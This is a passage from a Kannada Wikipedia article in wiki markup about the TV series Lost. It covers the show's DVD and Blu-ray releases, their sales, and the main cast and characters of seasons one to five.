ಸಪ್ಟೆಂಬರ್ 5, 2006ರಂದು ಮತ್ತು ರೀಜನ್ 2 ಡಿವಿಡಿಯನ್ನು ಅಕ್ಟೋಬರ್ 2, 2006ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.{{Citation needed|date=October 2009}} ಈ ಪ್ರತೀ ಬಿಡುಗಡೆಯೂ ದೃಶ್ಯದ ಚಿತ್ರಿಕೆಗಳನ್ನು, ತೆಗೆದುಹಾಕಿದ ದೃಶ್ಯಗಳನ್ನು ಮತ್ತು "''ಲಾಸ್ಟ್'' ಕನೆಕ್ಷನ್" ಪಟ್ಟಿಯನ್ನು ವಿಶೇಷ ಡಿವಿಡಿಗಳನ್ನು ಹೊಂದಿದೆ. ಇದು ದ್ವೀಪದಲ್ಲಿನ ಎಲ್ಲ ವ್ಯಕ್ತಿತ್ವಗಳೂ ಪ್ರತಿಯೊಂದರ ಜೊತೆ ಹೇಗೆ ಅಂತರ್‌ಸಂಬಂಧವನ್ನು ಹೊಂದಿವೆ ಎಂಬುದನ್ನು ತೊರಿಸುತ್ತದೆ.<ref>{{cite news| name=[[Adam-Troy Castro]]|url =http://www.scifi.com/sfw/screen/sfw13617.html|title= ''Lost'' Season 2 DVD|publisher=''Sci Fi Weekly''| date=2006-09-13}}</ref> ಮತ್ತೊಮ್ಮೆ,ಈ ಸರಣಿಯನ್ನು ರೀಜನ್ 2ಗಾಗಿ ಆರಂಭದಲ್ಲಿ ಎರಡು ಗುಚ್ಛದಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು. ಮೊದಲ ಹನ್ನೆರಡು ಕಂತುಗಳ ವಿಶಾಲ ಪರದೆಯ ನಾಲ್ಕು-ಡಿಸ್ಕ್‌ನ ಡಿವಿಡಿ ಪೆಟ್ಟಿಗೆಯ ಗುಚ್ಛವು ಜುಲೈ 17, 2006ರಂದು ಹಾಗೂ ಇನ್ನುಳಿದ ಎರಡನೇ ಸರಣಿಯು ಅಕ್ಟೋಬರ್ 2, 2006ರಂದು ನಾಲ್ಕು-ಡಿಸ್ಕ್‌ನ ಡಿವಿಡಿ ಪೆಟ್ಟಿಗೆಯ ಗುಚ್ಛವಾಗಿ ಬಿಡುಗಡೆಯಾಯಿತು. ಈ ಗುಚ್ಛವು ರೀಜನ್ 4ರಲ್ಲಿ ಅಕ್ಟೋಬರ್ 4, 2006ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು.{{Citation needed|date=October 2009}} ''[[ಲಾಸ್ಟ್: ದಿ ಕಂಪ್ಲೀಟ್ ಥರ್ಡ್ ಸೀಸನ್ - ದಿ ಎನ್‌ಎಕ್ಸ್‌ಪ್ಲೋರ್‌ಡ್ ಎಕ್ಸ್‌ಪೀರಿಯನ್ಸ್]]'' ಎಂಬ ಹೆಸರಿನಲ್ಲಿ ಮೂರನೇ ಸೀಸನ್ನನ್ನು ರೀಜನ್ ಒಂದರ ಡಿವಿಡಿ ಮತ್ತು ಬ್ಲೂ-ರೇಯಲ್ಲಿ ಡಿಸೆಂಬರ್ 11, 2007ರಂದು ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.<ref name="3DVDBluRay"> {{cite news| last=| first=| title=''Lost'': Disney Lowers List Price of ''Lost'' Season 3 on Hi-Definition Blu-Ray Discs| url=http://www.tvshowsondvd.com/news/Lost-Season-3-Bluray-Price-Change/8109| publisher=TV Shows on DVD.com|date=2007-09-19}}</ref> ಸೀಸನ್ ಒಂದು ಮತ್ತು ಎರಡರಂತೆಯೇ ಮೂರನೇ ಸೀಸನ್ ಕೂಡಾ ಧ್ವನಿ ವೀಕ್ಷಕ ವಿವರಣೆಯ ಜೊತೆಗೆ ತಾರಾಗಣ, ವಿಶೇಷ ಮುನ್ಸೂಚನೆಗಳು, ತೆಗೆದುಹಾಕಿದ ದೃಶ್ಯಗಳು ಮತ್ತು ಬ್ಲೂಪರ್‌ಗಳನ್ನು ಹೊಂದಿ ಬಿಡುಗಡೆಗೊಂಡಿದೆ. ಮೂರನೇ ಸೀಸನ್ನು ರೀಜನ್ ಎರಡರಲ್ಲಿ, ಡಿವಿಡಿಯಲ್ಲಿ ಅಕ್ಟೋಬರ್ 22, 2007ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು. ಆದರೆ ಈ ಸಾರಿ ಹಿಂದಿನಂತಲ್ಲದೇ ಸಂಪೂರ್ಣ ಗುಚ್ಛವಾಗಿ ಹೊರಬಂತು. ನಾಲ್ಕನೇ ಸೀಸನ್ನು ''[[ಲಾಸ್ಟ್: ದಿ ಕಂಪ್ಲೀಟ್ ಫೋರ್ತ್ ಸೀಸನ್-ದಿ ಎಕ್ಸ್‌ಪಾಂಡೆಡ್ ಎಕ್ಸ್‌ಪೀರಿಯನ್ಸ್]]'' ಎಂಬ ತಲೆಬರಹದಡಿ ರೀಜನ್ ಒಂದರಲ್ಲಿ ಡಿಸೆಂಬರ್ 9, 2008ರಂದು ಡಿವಿಡಿ ಮತ್ತು ಬ್ಲೂ-ರೇ ಡಿಸ್ಕ್‌ನ ಎರಡೂ ಮಾದರಿಯಲ್ಲಿ ಬಿಡುಗಡೆಗೊಂಡಿತು.<ref>ಡಿವಿಡಿಯಲ್ಲಿ ಟಿವಿ ಶೋವ್ಸ್ (ಏಪ್ರಿಲ್ 22,2008) "[http://www.tvshowsondvd.com/news/Lost-Season-4/9460 ಲಾಸ್ಟ್ ಡಿವಿಡಿ ನ್ಯೂಸ್: ಅನೌನ್ಸ್‌ಮೆಂಟ್ ಫಾರ್ ಲಾಸ್ಟ್ - ದಿ ಕಂಪ್ಲೀಟ್ ಫೋರ್ತ್ ಸೀಸನ್: ದಿ ಎಕ್ಸ್‌ಪಾಂಡ್ ಎಕ್ಸ್‌ಪೀರಿಯನ್ಸ್]." ರಿಟ್ರೈವ್‌ಡ್ ಆನ್ ಜೂನ್ 8, 2008</ref> ಇದು ರೀಜನ್ ಎರಡರಲ್ಲಿ ಡಿವಿಡಿಯಾಗಿ ಅಕ್ಟೋಬರ್ 20, 2008ರಂದು ಬಿಡುಗಡೆಯಾಯಿತು.<ref>[http://www.amazon.co.uk/dp/B001BJARYI Amazon.co.uk]</ref> ಈ ಗುಚ್ಛವು ಧ್ವನಿ ವೀಕ್ಷಕ ವಿವರಣೆ, ತೆಗೆದುಹಾಕಿದ ದೃಶ್ಯಗಳು, ಪ್ಲೂಪರ್ಸ್ ಮತ್ತು ವಿಶೇಷ ಕೊಡುಗೆಗಳನ್ನು ಹೊಂದಿದೆ.<ref>[http://www.tvshowsondvd.com/news/Lost-Season-4/9460 ಲಾಸ್ಟ್ ಡಿವಿಡಿ ನ್ಯೂಸ್: ಸೀಸನ್ 4 ಪ್ರೆಸ್ ರಿಲೀಸ್]." ರಿಟ್ರೈವ್‌ಡ್ ಆನ್ ಜುಲೈ 2, 2008</ref> ಡಿವಿಡಿಯಾಗಿ ''ಲಾಸ್ಟ್‌'' ನ ಮೊದಲ ಮೂರು ಸೀಸನ್ನುಗಳು ಯಶಸ್ವಿಯಾಗಿ ಮಾರಾಟವಾದವು. ಸೀಸನ್ ಒಂದರ ಬಾಕ್ಸ್‌ಸೆಟ್ ಡಿವಿಡಿಯು ಮಾರಾಟ ಪಟ್ಟಿಯಲ್ಲಿ ಸೆಪ್ಟೆಂಬರ್ 2005ರಲ್ಲಿ ಎರಡನೇ ಸ್ಥಾನಕ್ಕೆ ಪ್ರವೇಶಿಸಿತು.<ref>[http://www.tv.com/story/6306.html ''ಲಾಸ್ಟ್'' ರಿಜಿನ್ಸ್ ಸುಪ್ರೀಮ್ ಆನ್ ಡಿವಿಡಿ - ಟಿವಿ.ಕಂ] {{Webarchive|url=https://web.archive.org/web/20090430192311/http://www.tv.com/story/6306.html |date=2009-04-30 }} ಸಪ್ಟೆಂಬರ್ 13, 2006.</ref> ಸಪ್ಟೆಂಬರ್ 2006ರಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಿದ ನಂತರ ಮೊದಲ ವಾರದಲ್ಲಿ ಸೀಸಸ್ನ್ ಎರಡರ ಬಾಕ್ಸ್‌ಸೆಟ್ ಡಿವಿಡಿಯು ಮಾರಾಟ ಪಟ್ಟಿಯಲ್ಲಿ ಮೊದಲನೇ ಸ್ಥಾನಕ್ಕೆ ಪ್ರವೇಶಿಸಿತು. ಎರಡನೇ ಟಿವಿ-ಡಿವಿಡಿಯು ಎಂದಾದರೂ ಮೊದಲನೇ ಸ್ಥಾನಕ್ಕೆ ಪರವೇಶಿಸಬಹುದು ಎಂದು ನಂಬಲಾಗಿದೆ.<ref>[http://www.movieweb.com/tv/news/05/14605.php ''ಲಾಸ್ಟ್'' : ಸೀಸನ್ 2 ಟಾಪ್ ದಿಸ್ ವೀಕ್ಸ್ ಡಿವಿಡಿ ಸೇಲ್ಸ್ ಚಾರ್ಟ್] {{Webarchive|url=https://web.archive.org/web/20080921083458/http://www.movieweb.com/tv/news/05/14605.php |date=2008-09-21 }} ಸಪ್ಟೆಂಬರ್ 14, 2006.</ref> ಸೀಸನ್ ಎರಡರ ''ಲಾಸ್ಟ್'' ಡಿವಿಡಿಯ ಮೊದಲದಿನ ಗರಿಷ್ಠ 500,000 ಪ್ರತಿಗಳು ಮಾರಾಟವಾಗಬಹುದೆಂದು ನಂಬಲಾಗಿತ್ತು.<ref>[http://www.buddytv.com/articles/lost/lost_season_2_dvd_tops_charts.aspx ''ಲಾಸ್ಟ್'' ಸೀಸನ್ 2 ಡಿವಿಡಿ ಟಪ್ಸ್ ಚಾರ್ಟ್ಸ್] ಸಪ್ಟೆಂಬರ್ 14, 2006.</ref> ಸೀಸನ್ ಮೂರರ ಬಾಕ್ಸ್‌ಸೆಟ್‌ನ 1,000,000 ಪ್ರತಿಗಳು ಮೂರು ವಾರಗಳಲ್ಲಿ ಮಾರಾಟವಾದವು.<ref>[http://the-numbers.com/dvd/charts/weekly/2007/20071230.php ಡಿವಿಡಿ ಸೇಲ್ಸ್ ಚಾರ್ಟ್ - ವೀಕ್ ಎಂಡಿಂಗ್ ಡಿಸೆಂಬರ್ 30, 2007]</ref> == ಪಾತ್ರಗಳು ಮತ್ತು ವ್ಯಕ್ತಿತ್ವಗಳು == {{Main|Characters of Lost}} [[ಚಿತ್ರ:LostS5Cast.jpg|thumb|400px|upright|ಸದ್ಯದ ಮುಖ್ಯ ಪಾತ್ರಧಾರಿಗಳು ಎಡದಿಂದ ಬಲಕ್ಕೆ: ಬೆನ್, ಡೆಸ್ಮಂಡ್, ಹರ್ಲೀ, ಸಾಯರ್, ಜೂಲಿಯೆಟ್, ಜ್ಯಾಕ್, ಫೆರಾಡೆ, ಸಯೀದ್, ಸನ್, ಕೇಟ್, ಲಾಕ್, ಜಿನ್, ಮತ್ತು ಮೈಲ್ಸ್.]] ವಿಮಾನ ಅಪಘಾತದ ಮೂರು ಭಾಗಗಳಲ್ಲಿ,[[ಓಶಿಯಾನಿಕ್ ಪ್ಲೈಟ್ 815]]ರ ಸಂಪುಟದಲ್ಲಿನ 324 ಜನರಲ್ಲಿ,<ref>[[ಗೊಡ್ಡಾರ್ಡ್, ಡ್ರ್ಯೂ]] (ರೈಟರ್) &amp; [[ವಾಘನ್, ಬ್ರಿಯಾನ್. ಕೆ]] (ರೈಟರ್) &amp; [[ವಿಲಿಯಮ್ಸ್, ಸ್ಟೀಫನ್]] (ನಿರ್ದೇಶಕ), "[[ಕನ್‌ಫರ್ಮ್‌ಡ್ ಡೆಡ್]]". ''ಲಾಸ್ಟ್'' , [[ಎಬಿಸಿ]]. [[ಕಂತು 2]], [[ಸೀಸನ್ 4]]. ಏರ್ಡ್ ಆನ್ ಫೆಬ್ರುವರಿ 7, 2008.</ref> 71 ಜನ ಬದುಕುಳಿದವರನ್ನು(ಒಂದು ನಾಯಿಯನ್ನೂ) ಹೊಂದಿತ್ತು. ಅಮೆರಿಕದ ಪ್ರೈಮ್ ಟೈಮ್ ಟೆಲೆವಿಷನ್ ಶೋ ''ಡೆಸ್ಪರೇಟ್ ಹೌಸ್‌ವೈವ್ಸ್‌ನ'' ಹಿಂದೆ ಎರಡನೇ ಅತಿದೊಡ್ಡ ತಾರಾಗಣವನ್ನಾಗಿ ಮಾಡುವ ಹಿನ್ನೆಲೆಯಲ್ಲಿ, ಆರಂಭಿಕ ಸಿಸನ್ನಿನಲ್ಲಿ 14 ನಿರಂತರ ಮಾತನಾಡುವ ಪಾತ್ರಗಳು ಇದ್ದವು. ಇದೇವೇಳೆ ಬಹುದೊಡ್ಡ ತಾರಾಗಣದ ''ಲಾಸ್ಟ್'' ಸರಣಿಯ ನಿರ್ಮಾಣಕ್ಕೆ ಹೆಚ್ಚು ಖರ್ಚಾಗುತ್ತಿತ್ತು. ಬರಹಗಾರರು ಕಥೆಯ ತೀರ್ಮಾನದಲ್ಲಿ ಹೆಚ್ಚು ಅನುಕೂಲಕರವಾಗಿರುವುದು ಲಾಭಕರವಾಯಿತು. ಸರಣಿಯ ಕಾರ್ಯನಿರ್ವಾಹಕ ನಿರ್ಮಾಪಕ ಬ್ರಿಯಾನ್ ಬರ್ಕ್ ಪ್ರಕಾರ, "ನೀವು ವ್ಯಕ್ತಿತ್ವಗಳ ಮಧ್ಯೆ ಹೆಚ್ಚು ಅಂತರ್‌ಸಂಪರ್ಕವನ್ನು ಹೊಂದಬೇಕು ಮತ್ತು ಹೆಚ್ಚು ವಿಭಿನ್ನವಾದ ವ್ಯಕ್ತಿತ್ವಗಳನ್ನು ಸೃಷ್ತಿಸಬೇಕು, ಹೆಚ್ಚು ಉಪಕಥೆಗಳು, ಹೆಚ್ಚು [[ತ್ರಿಕೋನ ಪ್ರೇಮ ಕಥೆ]]ಗಳನ್ನು ಹೊಂದಬೇಕು"<ref>{{cite news|title=TV hits maximum occupancy|publisher=''USA Today''|last=Keveney|first=Bill|url =http://www.usatoday.com/life/television/news/2005-11-08-ensemble-casts_x.htm| date=2005-08-11 }}</ref> ಆರಂಭಿಕ ಸೀಸನ್ನು ಹದಿನಾಲ್ಕು ಮುಖ್ಯ ಪಾತ್ರಗಳಿಗಾಗಿ ತಾರೆಗಳನ್ನು [[ನೇಮಿಸಲಾಯಿತು]]. ಮಾಜಿ [[ಇರಾಕ್ ಗಣರಾಜ್ಯದ ಗಾರ್ಡ್]] ಆಗಿರುವ [[ಸಯಿದ್ ಜರಾಹ್‌]] ಪಾತ್ರವನ್ನು [[ನವೀನ್ ಆ‍ಯ್‌‌೦ಡ್ರ್ಯೂಸ್]] ನಿರ್ವಹಿಸಿದ್ದರು. ಆಸ್ಟ್ರೇಲಿಯದ ಗರ್ಭಿಣಿ [[ಕ್ಲಾರೀ ಲಿಟಲ್‌ಟನ್]] ಪಾತ್ರವನ್ನು [[ಎಮಿಲೀ ಡೆ ರವಿನ್]] ನಿರ್ವಹಿಸಿದ್ದರು. ತೊಂದರೆಗೆ ಒಳಗಾದ ಮತ್ತು ನಾಯಕನಾದ [[ಜೆಕ್ ಶೆಫರ್ಡ್]] ಪಾತ್ರವನ್ನು [[ಮ್ಯಾಥ್ಯೂ ಫಾಕ್ಸ್]] ಮಾಡಿದ್ದರು. ದುರಾದೃಷ್ಟವಂತ ಲಾಟರಿ ವಿಜಯಿ [[ಹ್ಯುಗೋ "ಹುರ್ಲೆ" ರೇಯ್ಸ್]] ಪಾತ್ರವನ್ನು [[ಜಾರ್ಜ್ ಗಾರ್ಸಿಯಾ]] ನಿರ್ವಹಿಸಿದ್ದರು. ಮಾಜಿ ನೃತ್ಯ ಶಿಕ್ಷಕಿಯಾದ [[ಶನೋನ್ ರುದರ್‌ರ್ಫೋರ್ಡ್]] ಪಾತ್ರವನ್ನು [[ಮ್ಯಾಗೀ ಗ್ರೇಸ್]] ನಿರ್ವಹಿಸಿದ್ದರು. ಮೋಸಗಾರ [[ಜೇಮ್ಸ್ "ಸಾಯರ್" ಫೋರ್ಡ್‌]]ನ ಪಾತ್ರವನ್ನು [[ಜೋಶ್ ಹಾಲೋವೇ]]ಯವರು ನಿರ್ವಹಿಸಿದ್ದರು. [[ಯುಂಜಿನ್ ಕಿಮ್‌]]ರು, ರೌಡಿಗಳ ಮುಖಂಡ ಮತ್ತು ಕೊರಿಯಾದ ಪ್ರಭಾವಶಾಲೀ ಉದ್ಯಮಿಯ ಮಗಳಾದ [[ಸುನ್-ಹ್ವಾ ಕ್ವೊನ್]] ಪಾತ್ರವನ್ನು, ಜೊತೆಗೆ [[ಡೇನಿಯಲ್ ಡಯೇ ಕಿಮ್‌]]ರವರು ಅವಳ ಗಂಡನ ಪಾತ್ರವಾದ [[ಜಿನ್-ಸೂ ಕ್ವೊನ್]] ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಿದ್ದರು. ಗಡೀಪಾರು ಮಾಡಲ್ಪಟ್ಟ [[ಕೇಟ್ ಆಸ್ಟಿನ್]] ಪಾತ್ರವನ್ನು [[ಇವ್ಯಾಂಗಲಿನ್ ಲಿಲ್ಲಿ]] ನಿರ್ವಹಿಸಿದ್ದರು. ಮಾಜಿ ರಾಕ್-ತಾರೆ ಮದ್ಯವ್ಯಸನಿ [[ಚಾರ್ಲೀ ಪೇಸ್]]ಪಾತ್ರವನ್ನು [[ಡಾಮಿನಿಕ್ ಮೊನಾಗನ್]] ನಿರ್ವಹಿಸಿದ್ದರು. ಅಸಾಧಾರಣ [[ಜಾನ್ ಲಾಕ್]] ಪಾತ್ರವನ್ನು [[ಟೆರ್ರಿ ಓ ಕ್ವಿನ್]] ಮಾಡಿದ್ದರು. ಕಟ್ಟಡ ಕೆಲಸಗಾರ [[ಮೈಕೆಲ್ ಡವ್ಸನ್]] ಪಾತ್ರವನ್ನ [[ಹೆರಾಲ್ಡ್ ಪೆರಿನ್ಯೂ]] ಮತ್ತು ಅದೇ ವೇಳೆ ಇವರ ಪುಟ್ಟ ಮಗ [[ವಾಲ್ಟ್ ಲಿಯೋಯ್ಡ್]] ಪಾತ್ರವನ್ನು ಬಾಲನಟ [[ಮಕೋಮ್ ಡೇವಿಡ್ ಕೆಲ್ಲೆ]] ನಿರ್ವಹಿಸಿದ್ದರು. ತನ್ನ ತಾಯಿಯ ಮದುವೆ ಉದ್ಯಮದ ಮುಖ್ಯ ಸಂಚಾಲಕ ಅಧಿಕಾರಿ ಮತ್ತು ಶನಾನ್‌ನ ಮಲ ಸಹೋದರನಾದ [[ಬೂನ್ ಕಾರ್ಲಿಲೆ]] ಪಾತ್ರವನ್ನು [[ಇಯಾನ್ ಸಮರ್‌ಹ್ಯಾಲ್ಡರ್]] ನಿರ್ವಹಿಸಿದ್ದರು. ಮೊದಲ ಎರಡು ಸೀಸನ್ನಿನ ಸಮಯದಲ್ಲಿ, ಹೊಸ ಕಥೆಯೊಂದಿಗೆ ಹೊಸ ವ್ಯಕ್ತಿತ್ವಗಳಿಗಾಗಿ ಕೋಣೆಯನ್ನು ನಿರ್ಲಿಸಲು ಕೆಲವು ವ್ಯಕ್ತಿತ್ವಗಳನ್ನು ರಚಿಸಲಾಯಿತು.<ref>{{cite news|url =http://www.usatoday.com/life/television/news/2005-09-13-lost_x.htm| publisher=''USA Today''|last= Keck|first=William |date=2005-09-13|title=''Lost'' in the face of death}}</ref><ref>{{cite web|url=http://www.comic-con.org/cci/cci06prog_lost.shtml|publisher=Comic Con|title=Interview with Damon Lindelof and Carlton Cuse|quote="Carlton: There will always be new characters that will be joining the cast of Lost. We will try to give the audience a lot of stuff with your favorite characters and introducing new characters and evolving the story is just part of the DNA of the show."|access-date=2009-12-17|archive-date=2007-05-01|archive-url=https://web.archive.org/web/20070501211257/http://www.comic-con.org/cci/cci06prog_lost.shtml|url-status=dead}}</ref> ಸೀಸನ್ ಒಂದರ ಅಂತ್ಯದಲ್ಲಿ, ಬೂನ್ ಕಾರ್ಲೈಲ್ ಎಂಬ ಮುಖ್ಯ ಪಾತ್ರವನ್ನು ಮೊಟ್ಟ ಮೊದಲು ರಚಿಸಲಾಯಿತು. ಮೊದಲ ಸೀಸನ್ನಿನ ಅಂತ್ಯದ ಘಟನೆಯ ನಂತರ, ಎರಡನೇ ಸೀಸನ್ನಿನ ಪೂರ್ತಿ ಅಪರೂಕ್ಕೊಮ್ಮೆ ಕಾಣಿಸಿಕೊಳ್ಳುವುದರ ಮೂಲಕ, ವಾಲ್ಟ್ ಅತಿಥಿ ತಾರೆಯಾದರು. ಎರಡನೇ ಸೀಸನ್ನಿನಲ್ಲಿ ಶನಾನ್ ಎಂಟು ಕಂತುಗಳ ನಿರ್ಗಮನವು ಹೊಸ ಪಾತ್ರವಾದ ನೈಜಿರಿಯಾದ ಕ್ಯಾಥೊಲಿಕ್ ಪ್ರವಾದಿ ಮತ್ತು ಮಾಜಿ ಅಪರಾಧಿಯ ಪಾತ್ರ [[ಮಿ.ಎಕೋ]]ವನ್ನು [[ಅಡಿವೇಲ್ ಅಕಿನ್ನೋಯ್-ಆ‍ಯ್‌ಗ್ಬೇಜ್]]; ಮಾಜಿ ಪೊಲೀಸ್ ಅಧಿಕಾರಿ ಮತ್ತು ವಿಮಾನ ನಿಲ್ದಾಣದ ರಕ್ಷಣಾ ಗಾರ್ಡ್, [[ಅನಾ ಲುಸಿಯಾ ಕೋರ್ಟೆಝ್]] ಪಾತ್ರವನ್ನು ಮೈ[[ಕೆಲ್ ರೋಡ್ರಗಿಝ್]] ಮತ್ತು ಮನಃಶಾಸ್ತ್ರಜ್ಞನಾಗಬೇಕೆಂಬ ಉದ್ದೇಶಹೊಂದಿದ [[ಲಿಬ್ಬಿ]] ಪಾತ್ರವನ್ನು [[ಸಿಂಥಿಯಾ ವ್ಯಾಟ್ರಸ್]] ವಹಿಸಿಕೊಳ್ಳಲು ಅವಕ ಮಾಡಿಕೊಟ್ಟಿತು. ಎರಡನೇ ಸೀಸನ್ನಿನ ಕೊನೆಯ ಸರಣಿಯ ವೇಳೆಗೆ ಅನಾ ಲುಸಿಯಾ ಮತ್ತು ಲಿಬ್ಬಿ ಪಾತ್ರವನ್ನು ರಚಿಸಲಾಯಿತು. "[[ಅದರ್ಸ್]]"ನ ಗರಿಷ್ಠ ದರ್ಜೆಯ ಸದಸ್ಯರಲ್ಲೊಂದಾದ [[ಬೆನ್ ಲಿನಸ್]] ಪಾತ್ರದಲ್ಲಿ [[ಮೈಕೇಲ್ ಎಮರ್ಸನ್]] ಮಾಡಿದಂತೆ ಮೂರನೇ ಸೀಸನ್ನಿನಲ್ಲಿ, ಮಾಜಿ ಸ್ಕಾಟಿಷ್ ಸೈನಿಕನಾದ [[ಡೆಸ್ಮಂಡ್ ಹ್ಯೂಮ್]] ಪಾತ್ರಕ್ಕಾಗಿ [[ಹೆನ್ರಿ ಇಯಾನ್ ಕ್ಯುಸಿಕ್]] ಅವರನ್ನು ನೇಮಿಸಲಾಯಿತು. ಜೊತೆಗೆ ಮುರು ಹೊಸ ನಟರು ನಿತ್ಯದ ತಾರಾಗಣದ ಜೊತೆಗೆ ಸೇರಿಕೊಂಡರು. ಅವರೆಂದರೆ, ವೈದ್ಯೆ ಮತ್ತು "ಅದರ್"ನ [[ಜ್ಯೂಲಿಯೆಟ್ ಬುರ್ಕೆ]] ಪಾತ್ರವನ್ನು [[ಎಲಿಝಬೆತ್ ಮಿಶೆಲ್]] ಮತ್ತು [[ಕೀಲೆ ಸ್ಯಾಂಚೆ]] ಹಾಗೂ [[ರೋಡ್ರಿಗೂ ಸಂಟೊರೊ]] ಅವರು ಯಾತನೆಯನ್ನು ಅನುಭವಿಸುತ್ತಿರುವ ಜೋಡಿಗಳಾಗಿ ಹಿನ್ನೆಲೆಯಲ್ಲಿ [[ನಿಕ್ಕಿ ಫರ್ನಾಂಡಿಸ್]] ಮತ್ತು [[ಪೌಲೋ]]ಪಾತ್ರವನ್ನು ನಿರ್ವಹಿಸಿದರು. ಸೀಸನ್ನಿನ ಆರಂಭದಲ್ಲೇ ಎಕೊ ಪಾತ್ರವನ್ನು ರಚಿಸಲಾಗಿತ್ತು. ಮತ್ತು ನಿಕ್ಕಿ ಹಾಗೂ ಪೌಲೋ ಪಾತ್ರವನ್ನು ಅವರ ಮೊದಲ ಫ್ಲ್ಯಾಷ್‌ಬ್ಯಾಕ್ ಕಂತಿನ ನಂತರದಲ್ಲಿ ಸೀಸನ್ನಿನ ಮಧ್ಯದಲ್ಲಿ ರಚಿಸಲಾಯುತು. ಚಾರ್ಲೀ ಪಾತ್ರವನ್ನು ಮೂರನೇ ಸೀಸನ್ನಿನ ಅಂತ್ಯದಲ್ಲಿ ಬರೆಯಲಾಯಿತು. ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನಲ್ಲಿ, ತನ್ನ ಹಿಂದಿನ ಅಪರಾಧಗಳಿಂದಾದ ಜಿಗುಪ್ಸೆಯನ್ನು ಪ್ರಾಯಶ್ಚಿತ್ತ ಮಾಡಿಕೊಳ್ಳುವುದಕ್ಕೆ ಹೋಗುವ ಮತ್ತು ಆತ್ಮಹತ್ಯೆ ಮಾಡಿಕೊಳ್ಳುವ [[ಮೈಕೆಲ್ ಡಾವ್ಸನ್]] ಪಾತ್ರದಲ್ಲಿ ಹೆರಾಲ್ಡ್ ಪೆರಿನ್ಯೂ ಪುನಹ ಮುಖ್ಯ ತಾರಾಗಣಕ್ಕೆ ಸೇರಿಕೊಂಡರು.<ref>[http://abclocal.go.com/wls/story?section=entertainment&amp;id=5509852 ಎಬಿಸಿ: ಟರ್ನ್‌ಕೋಟ್ ಮೈಕೆಲ್ ರಿಟರ್ನ್ಸ್ ಟು ''ಲಾಸ್ಟ್'' ಐಲ್ಯಾಂಡ್], ಎಬಿಸಿ7ಶಿಕಾಗೋ.ಕಾಂ, ಜುಲೈ 25, 2007.</ref> ಪೆರಿನ್ಯೂ ಜೊತೆಗೆ ಇನ್ನೂ ಕೆಲವು ಹೊಸ ನಟರಾದ, ದ್ವೀಪದಲ್ಲಿ ವೈಜ್ಞಾನಿಕ ಆಸಕ್ತಿಯನ್ನು ಕೈಗೊಳ್ಳುವ ನರತಜ್ಞ ಡೇನಿಯಲ್ ಫರಡೇಯಾಗಿ [[ಜೆರೆಮಿ ಡೇವಿಯಸ್]], ಕಟುವಾದ ಕ್ರೂರ ಧ್ವನಿಯ [[ಮೈಲ್ಸ್ ಸ್ಟ್ರಾಮ್]] ಪಾತ್ರವಾಗಿ ಕೆ[[ನ್ ಲಿಯುಂಗ್]] ಮತ್ತು ಕಟು ಹೃದಯದ ಮತು ಮಾನವಶಾಸ್ತ್ರಜ್ಞೆ ಹಾಗೂ ಗರಿಷ್ಠ ವ್ಯಾಸಂಗಮಾಡಿರುವ [[ಚಾರ್ಲೆಟ್ ಸ್ಟೇಪಲ್ಸ್ ಲೂಯಿಸ್]] ಪಾತ್ರವಾಗಿ [[ರೆಬೆಕಾ ಮೇಡರ್]] ತಾರಾಗಣವನ್ನು ಸೇರಿಕೊಂಡರು.<ref>{{cite web | url = http://www.ew.com/ew/article/0,,20053863,00.html | title = ''Lost'': Five Fresh Faces | last = Jensen | first = Jeff | accessdate= 2007-08-30 | publisher = EW.com}}</ref> ಸೀಸನ್ನಿನ ಕೊನೆಯಲ್ಲಿ ತನ್ನ ತಂದೆಯ ಸಾವಿನಿಂದಾಗಿ ಪಾಲ್ಗೊಳ್ಳಲು ಸಾಧ್ಯವಾಗದ ಕ್ಲಾರೀ, ಐದನೇ ಸೀಸನ್ನಿಗೆ ನಿರಂತರವಾಗಿ ಪಾಲ್ಗೊಂಡಿರಲಿಲ್ಲ, ಆದರೆ ಕೊನೆಯ ಮತ್ತು ಆರನೆಯ ಸೀಸನ್ನಿಗೆ ಹಿಂತಿರುಗುತ್ತಿದ್ದಾರೆ.<ref>{{cite web | url = http://www.eonline.com/uberblog/detail.jsp?contentId=4378 |title = Lost Redux: Promises to Keep, and Miles to Go Before We Sleep |accessdate = 2008-06-05 |author = Godwin, Jennifer |date = 2008-05-30 |publisher = [[E!]]}}</ref> ಮೈಕೆಲ್ ಪಾತ್ರವನ್ನು ನಾಲ್ಕನೇ ಸೀಸನ್ನಿನ ಕೊನೆಯದಲ್ಲಿ ರಚಿಸಲಾಯಿತು.<ref>{{cite web |url = http://seattlepi.nwsource.com/tvguide/365208_tvgif30.html |title = Harold Perrineau Dishes on his Lost Exit (Again) |accessdate = 2008-05-30 |author = Malcom, Shawna |date = 2008-05-30 |publisher = ''TV Guide'' |archive-date = 2008-05-31 |archive-url = https://web.archive.org/web/20080531033101/http://seattlepi.nwsource.com/tvguide/365208_tvgif30.html |url-status = dead }}</ref> ಐದನೇ ಸೀಸನ್ನಿನಲ್ಲಿ ಯಾವ ಹೊಸ ನಟರನ್ನೂ ನೇಮಿಸಿಕೊಳ್ಳಲಿಲ್ಲ. ಸಯೀದ್ ಟಾಗ್ಮೋಯಿ ಮತ್ತ ಝುಲೈಕಾ ರಾಬಿನ್ಸನ್‌ರು ಸೀಸರ್ ಮತ್ತು ಇಲಾನಾ ಪಾತ್ರವಾಗಿ ಆರಂಭದಲ್ಲಿ ಮುಖ್ಯ ತಾರಾಗಣದ ಸದಸ್ಯರಾಗಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದರು, ಆದರೆ ಸೀಸನ್ನಿನ ಆರಂಭದಲ್ಲಿ ಕೆಳಹಂತಕ್ಕೆ ಮರಳಿದರು.{{Citation needed|date=October 2009}} ಐದನೇ ಸೀಸನ್‌ನಲ್ಲಿ ಎಬಿಸಿಯು ರೆಬೆಕಾ ಮೆಡೆರ್ ಮತ್ತು ಡೇನಿಯಲ್ ಡೇ ಕಿಮ್‌ರವರನ್ನು ಮುಖ್ಯ ಪಾತ್ರಗಳಾಗಿ ಪಟ್ಟಿ ಮಾಡಿಲ್ಲ.<ref>{{cite web| 